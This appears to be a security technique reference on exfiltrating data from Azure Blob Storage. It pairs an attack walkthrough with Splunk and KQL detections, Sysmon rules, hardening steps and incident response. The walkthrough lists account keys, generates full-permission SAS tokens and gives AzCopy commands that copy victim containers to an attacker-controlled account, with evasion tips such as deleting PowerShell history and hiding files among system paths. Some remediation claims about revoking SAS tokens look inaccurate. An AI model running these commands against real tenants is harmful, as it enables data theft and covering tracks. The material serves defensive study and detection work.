| Attribute | Details |
|---|---|
| Technique ID | COLLECT-DATA-001 |
| MITRE ATT&CK v18.1 | Transfer Data to Cloud Account (T1537) |
| Tactic | Collection, Exfiltration |
| Platforms | Entra ID (Azure) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure subscription versions, AzCopy 10.0+, Azure Storage Explorer 1.0+ |
| Patched In | N/A - No patch available; depends on RBAC enforcement |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Blob Storage data exfiltration involves transferring data from victim-owned blob containers to an attacker-controlled cloud storage account. An attacker with compromised credentials or SAS tokens can leverage Azure-native tools (AzCopy, Azure Storage Explorer) or REST APIs to bulk-download sensitive data while blending traffic with legitimate cloud provider operations. This technique bypasses traditional network-based data transfer detection by utilizing Azure’s internal addressing and trusted domains.
Attack Surface: Azure Storage Account keys, SAS tokens, Managed Identity credentials, or Entra ID user accounts with Storage Blob Data Reader/Contributor roles.
Business Impact: Complete data breach of cloud-stored assets. Attackers can access unencrypted or poorly encrypted data including documents, backups, application data, and configuration secrets stored in blob containers.
Technical Context: Data transfer via AzCopy can achieve multi-gigabit throughput, enabling exfiltration of terabytes of data in minutes. Detection is challenging because the traffic leverages trusted Azure infrastructure.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.3 | Ensure that Storage blobs restrict public access |
| DISA STIG | SV-256508 | Configure Azure Storage Account firewall rules |
| NIST 800-53 | AC-3, SC-7 | Access Control Enforcement, Boundary Protection |
| GDPR | Art. 32 | Security of Processing – Encryption, access logs |
| DORA | Art. 9 | Protection and Prevention of Attacks |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Scenario: “Data breach via compromised cloud credentials” | Data classification and access control failures |
Supported Versions:
Tools:
# Enumerate storage accounts in subscription
az storage account list --output table
# List containers in a storage account
az storage container list --account-name <storage_account_name>
# Check if public access is enabled (anonymous access)
az storage container show-permission --name <container_name> --account-name <storage_account_name>
# List blobs in a container with size information
az storage blob list --account-name <storage_account_name> --container-name <container_name> --output table --query "[].{Name:name, Size:properties.contentLength, Modified:properties.lastModified}"
# Enumerate storage account firewall rules
az storage account show --name <storage_account_name> --query "networkAcls"
What to Look For:
"enabled": true)"publicAccess": "Blob" or "Container")# Get storage account context
$storageContext = New-AzStorageContext -StorageAccountName "myaccount" -StorageAccountKey "<key>"
# List all containers
Get-AzStorageContainer -Context $storageContext | Select-Object Name
# Get container properties
Get-AzStorageContainerStoredAccessPolicy -Container "mycontainer" -Context $storageContext
# Check container access level
Get-AzStorageContainer -Name "mycontainer" -Context $storageContext | Select-Object PublicAccess
Supported Versions: All Azure subscription types
Objective: Acquire authentication credentials for the source storage account
Command:
# List storage account keys (requires account owner or Storage Account Key Operator role)
az storage account keys list --account-name <source_storage_account> --resource-group <rg>
# Generate SAS token (7-day expiration)
az storage account generate-sas --account-name <source_storage_account> --account-key <storage_key> --permissions racwd --resource-types sco --services b --expiry 2026-01-17
Expected Output:
[
{
"keyName": "key1",
"value": "DefaultEndpointsProtocol=https;AccountName=...",
"permissions": "Full"
}
]
What This Means:
keyName = Primary or Secondary key identifiervalue = Full connection string or keypermissions = Access level (Full = read/write)OpSec & Evasion:
Objective: Transfer blob data to attacker-controlled storage or local disk
Command (Download to Local Disk):
# Download single blob
azcopy copy 'https://<source_storage>.blob.core.windows.net/<container>/<blob_name>' 'C:\Local\Path\<blob_name>'
# Download entire container recursively
azcopy copy 'https://<source_storage>.blob.core.windows.net/<container>' 'C:\Local\Path' --recursive
# Download with specific file pattern
azcopy copy 'https://<source_storage>.blob.core.windows.net/<container>/*.txt' 'C:\Local\Path' --recursive
# Download with SAS token (no key storage)
azcopy copy 'https://<source_storage>.blob.core.windows.net/<container>?<SAS_token>' 'C:\Local\Path' --recursive
Command (Transfer to Attacker’s Cloud Storage):
# Login to AzCopy with attacker tenant
azcopy login --tenant-id <attacker_tenant_id>
# Sync from victim to attacker storage
azcopy sync 'https://<victim_storage>.blob.core.windows.net/<container>' 'https://<attacker_storage>.blob.core.windows.net/<container>' --recursive
# Copy with progress monitoring
azcopy copy 'https://<victim_storage>.blob.core.windows.net/<container>/*' 'https://<attacker_storage>.blob.core.windows.net/<container>/' --recursive --log-level=INFO
Expected Output:
[2026-01-10T15:30:45.123Z] INFO: Job 12345abc started
[2026-01-10T15:30:46.456Z] INFO: Transferring files...
Final Job Status: Completed
Total files transferred: 1,250
Total bytes transferred: 125.5 GB
Duration: 45m30s
What This Means:
OpSec & Evasion:
--log-level=ERROR to suppress verbose loggingRemove-Item (Get-PSReadlineOption).HistorySavePathRemove-Item 'C:\Local\Path' -Recurse -ForceTroubleshooting:
Storage Blob Data Reader or Storage Blob Data Owner role assignedReferences & Proofs:
Supported Versions: Azure Storage Explorer 1.10+
Objective: Authenticate to the source storage account via GUI
Manual Steps:
Alternative (SAS Token):
https://<storage_account>.blob.core.windows.net/?<SAS_token>Expected Output:
✓ Connected successfully
- Container1
- blob1.txt (50 MB)
- blob2.docx (120 MB)
- Container2
- data.tar.gz (2.3 GB)
Objective: Download blobs to local attacker machine
Manual Steps:
C:\Temp)Batch Download:
OpSec & Evasion:
C:\ProgramData\Microsoft\Windows\ to blend with system files)Supported Versions: Azure CLI 2.50+
Objective: Discover sensitive data before exfiltration
Command:
# List all containers
az storage container list --account-name <storage_account> --account-key <key> --query "[].name" --output table
# List blobs with metadata
az storage blob list --account-name <storage_account> --container-name <container> --account-key <key> --query "[].{Name:name, Size:properties.contentLength, Type:properties.contentType}" --output table
# Find large blobs (> 100 MB)
az storage blob list --account-name <storage_account> --container-name <container> --account-key <key> --query "[?properties.contentLength > `100000000`].{Name:name, Size_MB:properties.contentLength/1000000}" --output table
Command:
# Download all blobs from container
for blob in $(az storage blob list --account-name <storage_account> --container-name <container> --account-key <key> --query "[].name" -o tsv)
do
az storage blob download --account-name <storage_account> --container-name <container> --name "$blob" --file "C:\Downloads\$blob" --account-key <key>
done
# Parallel download using xargs (Linux)
az storage blob list --account-name <storage_account> --container-name <container> --account-key <key> --query "[].name" -o tsv | \
xargs -P 10 -I {} az storage blob download --account-name <storage_account> --container-name <container> --name {} --file "/tmp/{}" --account-key <key>
Supported Versions: All Azure API versions
Objective: Create time-limited, permission-scoped token for REST operations
Command (PowerShell):
$containerName = "sensitive-data"
$storageContext = New-AzStorageContext -StorageAccountName "victimaccount" -StorageAccountKey "<key>"
# Generate SAS token with 7-day expiration, full permissions
$token = New-AzStorageContainerSASToken -Name $containerName -Context $storageContext -Permission racwd -ExpiryTime (Get-Date).AddDays(7)
Write-Host "https://victimaccount.blob.core.windows.net/$containerName$token"
Command:
# List blobs via REST
curl -s 'https://<storage>.blob.core.windows.net/<container>?restype=container&comp=list&<SAS_token>' | grep -oP '(?<=<Name>)[^<]*' > blob_list.txt
# Download each blob
while read blob; do
curl -s 'https://<storage>.blob.core.windows.net/<container>/$blob?<SAS_token>' -o "$blob"
done < blob_list.txt
# Or using wget with parallel downloads
cat blob_list.txt | xargs -P 5 -I {} wget 'https://<storage>.blob.core.windows.net/<container>/{}?<SAS_token>' -O '/tmp/{}'
Version: 10.21 (Current) Minimum Version: 10.0 Supported Platforms: Windows, Linux, macOS
Installation:
# Windows (PowerShell)
Invoke-WebRequest -Uri "https://aka.ms/downloadazcopy-v10-windows" -OutFile "azcopy.zip"
Expand-Archive -Path "azcopy.zip" -DestinationPath "C:\Program Files"
# Add to PATH
# Linux
wget https://aka.ms/downloadazcopy-v10-linux -O azcopy.tar.gz
tar -xzf azcopy.tar.gz
sudo cp azcopy /usr/local/bin/
# macOS
curl https://aka.ms/downloadazcopy-v10-mac -o azcopy.zip
unzip azcopy.zip
sudo mv azcopy /usr/local/bin/
One-Liner (Full Exfiltration):
azcopy copy 'https://<victim>.blob.core.windows.net/<container>/*?<SAS>' 'https://<attacker>.blob.core.windows.net/<container>/' --recursive --log-level=ERROR
Rule Configuration:
SPL Query:
sourcetype="azure:storage:blob" category="StorageRead"
| stats sum(bytes_received) as total_bytes by user, src_ip, container_name
| where total_bytes > 10737418240
| eval total_gb = round(total_bytes/1024/1024/1024, 2)
| table user, src_ip, container_name, total_gb
What This Detects:
Manual Configuration Steps:
> 0 resultsSPL Query:
sourcetype="azure:storage:blob" (user_agent="AzCopy" OR user_agent="Azure Storage Explorer" OR user_agent="Microsoft.Azure*")
| stats count by user_agent, requester_upn, operation
| where count > 5
False Positive Analysis:
| where requester_upn!="svc_*" AND requester_upn!="backup@*"Rule Configuration:
KQL Query:
StorageBlobLogs
| where OperationName == "GetBlob" or OperationName == "ListBlobs"
| where StatusCode == "200"
| summarize TotalBytesReceived = sum(BytesReceived), OperationCount = count() by RequesterUpn, ClientIp, bin(TimeGenerated, 10m)
| where TotalBytesReceived > 1099511627776 // > 1 TB in 10 minutes
| join kind=inner (
AuditLogs
| where OperationName == "Get storage account key"
| project RequesterUpn, TimeGenerated
) on RequesterUpn
What This Detects:
Manual Configuration Steps (Azure Portal):
Anomalous Blob Storage ExfiltrationHigh10 minutes1 hourRequesterUpn, ClientIpManual Configuration Steps (PowerShell):
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Anomalous Blob Storage Exfiltration" `
-Query @"
StorageBlobLogs
| where OperationName == "GetBlob" or OperationName == "ListBlobs"
| where StatusCode == "200"
| summarize TotalBytesReceived = sum(BytesReceived), OperationCount = count() by RequesterUpn, ClientIp, bin(TimeGenerated, 10m)
| where TotalBytesReceived > 1099511627776
"@ `
-Severity "High" `
-Enabled $true
Source: Microsoft Sentinel Detection Best Practices - Storage Monitoring
KQL Query:
AuditLogs
| where OperationName == "Generate storage account SAS token" or OperationName == "List Storage Account Keys"
| where InitiatedBy.user.id != "00000000-0000-0000-0000-000000000001" // Exclude service principals
| join kind=inner (
StorageBlobLogs
| where TimeGenerated > ago(1h)
| where OperationName == "GetBlob"
| summarize BytesByRequester = sum(BytesReceived) by RequesterObjectId
) on $left.InitiatedBy.user.id == $right.RequesterObjectId
| where BytesByRequester > 536870912 // > 512 MB downloaded
Event ID: 4663 (An attempt was made to access an object)
Object Type == "File" AND Object Name matches C:\Users\*\AppData\Local\Temp\*Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy - Windows 10/11):
$acl = Get-Acl "C:\Users\*\AppData\Local\Temp"
$rule = New-Object System.Security.AccessControl.FileSystemAuditRule("Everyone", "Read", "Success")
$acl.AddAuditRule($rule)
Set-Acl "C:\Users\*\AppData\Local\Temp" $acl
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows
<Sysmon schemaversion="4.81">
<!-- Detect AzCopy process execution -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">azcopy</CommandLine>
<CommandLine condition="contains">azcopy copy</CommandLine>
<CommandLine condition="contains">azcopy sync</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect Azure Storage Explorer execution -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">StorageExplorer.exe</Image>
</ProcessCreate>
</RuleGroup>
<!-- Monitor network connections to Azure Blob Storage -->
<RuleGroup name="" groupRelation="or">
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">blob.core.windows.net</DestinationHostname>
<DestinationHostname condition="contains">blob.core.chinacloudapi.cn</DestinationHostname>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Select-Object Message
Alert Name: “Unusual data transfer volume detected from Azure Storage Account”
Manual Configuration Steps (Enable Defender for Cloud):
Search-UnifiedAuditLog -Operations StorageObjectAccessedByExternalUser -StartDate (Get-Date).AddDays(-7) -FreeText "blob"
# Export to CSV for analysis
Search-UnifiedAuditLog -Operations StorageObjectAccessedByExternalUser -StartDate (Get-Date).AddDays(-7) | Export-Csv -Path "C:\Logs\blob_access.csv"
AuditData.Properties.CallerIpAddress, RequestProperties.SourceObjectPathManual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
Enable Storage Account Firewall & Virtual Network Restrictions
Objective: Prevent unauthorized access to blob storage from non-sanctioned networks
Applies To Versions: All Azure subscription types
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Update storage account firewall
Update-AzStorageAccountNetworkRuleSet -ResourceGroupName "rg-name" `
-Name "storage-account" `
-DefaultAction Deny `
-Bypass AzureServices
# Add allowed VNet
Add-AzStorageAccountNetworkRule -ResourceGroupName "rg-name" `
-Name "storage-account" `
-VirtualNetworkResourceId "/subscriptions/.../subnets/allowed-subnet"
# Add allowed IP
Add-AzStorageAccountNetworkRule -ResourceGroupName "rg-name" `
-Name "storage-account" `
-IPAddressOrRange "203.0.113.0/24"
Validation Command:
Get-AzStorageAccountNetworkRuleSet -ResourceGroupName "rg-name" -Name "storage-account" | Select-Object DefaultAction, Bypass
Expected Output (If Secure):
DefaultAction Bypass
------------- ------
Deny AzureServices
Disable Shared Key Access (Force Entra ID Only)
Objective: Eliminate account key theft vector
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Set-AzStorageAccount -ResourceGroupName "rg-name" `
-Name "storage-account" `
-AllowSharedKeyAccess $false
Require Managed Identity for All Access
Objective: Enforce identity-based access control (RBAC)
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Assign Storage Blob Data Reader to managed identity
New-AzRoleAssignment -ObjectId "<managed-identity-id>" `
-RoleDefinitionName "Storage Blob Data Reader" `
-Scope "/subscriptions/<sub-id>/resourceGroups/<rg>/providers/Microsoft.Storage/storageAccounts/<account-name>"
Enable Audit Logging & Monitoring
Manual Steps:
Monitor for Suspicious Patterns:
# Query recent blob read operations (suspicious activity)
$logs = Search-UnifiedAuditLog -Operations StorageObjectAccessedByUser -StartDate (Get-Date).AddHours(-2)
$logs | Where-Object { $_.ResultIndex -gt 100 } | Select-Object -Property UserIds, ClientIpAddress, AuditData
Access Control & Policy Hardening
Conditional Access Policy (Block Anomalous Access):
Block Blob Storage from Untrusted LocationsRBAC/ABAC:
Validation Command (Verify Fix):
# Verify firewall is enabled
$storageAccount = Get-AzStorageAccount -ResourceGroupName "rg-name" -Name "storage-account"
$storageAccount.NetworkRuleSet.DefaultAction
# Verify shared key access is disabled
$storageAccount.AllowSharedKeyAccess
Expected Output (If Secure):
DefaultAction: Deny
AllowSharedKeyAccess: False
SharedKeyAccessEnabled: False
Process Names:
azcopy.exeazcopy (Linux/macOS)StorageExplorer.exeNetwork:
*.blob.core.windows.net on port 443*.blob.core.chinacloudapi.cn (China Azure)Registry (Windows):
HKCU\Software\Microsoft\Azure Storage Explorer\C:\Users\<user>\.azure\Cloud Logs:
StorageBlobLogs.OperationName == "GetBlob" with high BytesReceivedAuditLogs.OperationName == "Generate storage account SAS token"AuditLogs.OperationName == "List Storage Account Keys"Disk:
C:\Users\<user>\AppData\Local\Microsoft\Windows\PowerShell_transcript*C:\Users\<user>\AppData\Local\Temp\ (may contain extracted files)C:\Users\<user>\AppData\Roaming\Microsoft\StorageExplorer\Memory:
Cloud:
Microsoft.Storage/storageAccounts/listKeys/actionStorageBlobLogs table with GetBlob operations and BytesReceived1. Immediate Containment (0-5 minutes):
Command:
# Disable storage account access
Set-AzStorageAccount -ResourceGroupName "rg-name" -Name "storage-account" -AllowSharedKeyAccess $false
# Revoke all SAS tokens
Get-AzStorageAccountKey -ResourceGroupName "rg-name" -Name "storage-account" | New-AzStorageAccountKey -KeyName key1
Manual (Azure Portal):
2. Investigation (5-30 minutes):
Command:
# Export audit logs for analysis
$logs = Search-UnifiedAuditLog -Operations StorageObjectAccessedByUser -StartDate (Get-Date).AddHours(-24)
$logs | Export-Csv -Path "C:\Incident\blob_access_24h.csv" -NoTypeInformation
# List all blobs that were accessed
$context = New-AzStorageContext -StorageAccountName "storage-account" -StorageAccountKey "<key>"
Get-AzStorageBlob -Container "container-name" -Context $context | Where-Object { $_.LastModified -gt (Get-Date).AddHours(-24) }
Manual (Azure Portal):
StorageBlobLogs | where OperationName == "GetBlob" | where TimeGenerated > ago(24h) | summarize count() by RequesterUpn3. Remediation (30-60 minutes):
Command:
# Rotate all storage account keys
Get-AzStorageAccountKey -ResourceGroupName "rg-name" -Name "storage-account" | New-AzStorageAccountKey -KeyName key1 -Force
# Delete suspicious SAS tokens (revoke all active tokens)
$storageAccount = Get-AzStorageAccount -ResourceGroupName "rg-name" -Name "storage-account"
$storageAccount | Update-AzStorageAccount # Forces renewal of all tokens
# Restore blob versions (if versioning enabled)
Get-AzStorageBlob -Container "container-name" -Context $context | Where-Object { $_.IsLatestVersion -eq $false } | Restore-AzStorageBlob
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes user credentials or MFA token |
| 2 | Credential Access | [CA-TOKEN-001] Hybrid AD Cloud Token Theft | Attacker steals access token from compromised device |
| 3 | Privilege Escalation | [PE-ACCTMGMT-010] Azure DevOps Pipeline Escalation | Attacker escalates to Storage Account Contributor role |
| 4 | Collection | [COLLECT-DATA-001] Azure Blob Storage Exfiltration | Attacker downloads sensitive data via AzCopy |
| 5 | Exfiltration | [LM-AUTH-035] Synapse Workspace Cross-Access | Data moved to attacker’s controlled storage account |
| 6 | Impact | [IMPACT-001] Data Destruction | Attacker deletes blobs to cover tracks |